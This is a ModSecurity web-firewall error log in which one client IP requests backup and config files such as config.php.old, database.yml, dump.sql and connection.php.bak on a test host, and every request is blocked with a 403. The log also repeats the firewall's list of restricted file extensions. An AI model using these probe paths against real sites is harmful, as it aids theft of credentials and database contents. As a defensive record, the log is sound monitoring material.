[Sun Jul 20 17:01:35.228808 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYQAAAA0&quot;]
[Sun Jul 20 17:01:35.229148 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYQAAAA0&quot;]
[Sun Jul 20 17:01:35.229314 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYQAAAA0&quot;]
[Sun Jul 20 17:01:35.270215 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYwAAAA0&quot;]
[Sun Jul 20 17:01:35.270555 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYwAAAA0&quot;]
[Sun Jul 20 17:01:35.270723 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYwAAAA0&quot;]
[Sun Jul 20 17:01:35.290846 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZAAAAA0&quot;]
[Sun Jul 20 17:01:35.291166 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZAAAAA0&quot;]
[Sun Jul 20 17:01:35.291327 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZAAAAA0&quot;]
[Sun Jul 20 17:01:35.311515 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZQAAAA0&quot;]
[Sun Jul 20 17:01:35.311718 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZQAAAA0&quot;]
[Sun Jul 20 17:01:35.311882 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZQAAAA0&quot;]
[Sun Jul 20 17:01:35.331814 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZgAAAA0&quot;]
[Sun Jul 20 17:01:35.332180 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZgAAAA0&quot;]
[Sun Jul 20 17:01:35.332365 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZgAAAA0&quot;]
[Sun Jul 20 17:01:35.355657 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZwAAAA0&quot;]
[Sun Jul 20 17:01:35.356147 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZwAAAA0&quot;]
[Sun Jul 20 17:01:35.356420 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUZwAAAA0&quot;]
[Sun Jul 20 17:01:35.378260 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUaAAAAA0&quot;]
[Sun Jul 20 17:01:35.378712 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUaAAAAA0&quot;]
[Sun Jul 20 17:01:35.378907 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUaAAAAA0&quot;]
[Sun Jul 20 17:01:35.398985 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUaQAAAA0&quot;]
[Sun Jul 20 17:01:35.399323 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUaQAAAA0&quot;]
[Sun Jul 20 17:01:35.399499 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUaQAAAA0&quot;]
[Sun Jul 20 17:01:35.419739 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUagAAAA0&quot;]
[Sun Jul 20 17:01:35.420068 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUagAAAA0&quot;]
[Sun Jul 20 17:01:35.420233 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUagAAAA0&quot;]
[Sun Jul 20 17:01:35.440140 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUawAAAA0&quot;]
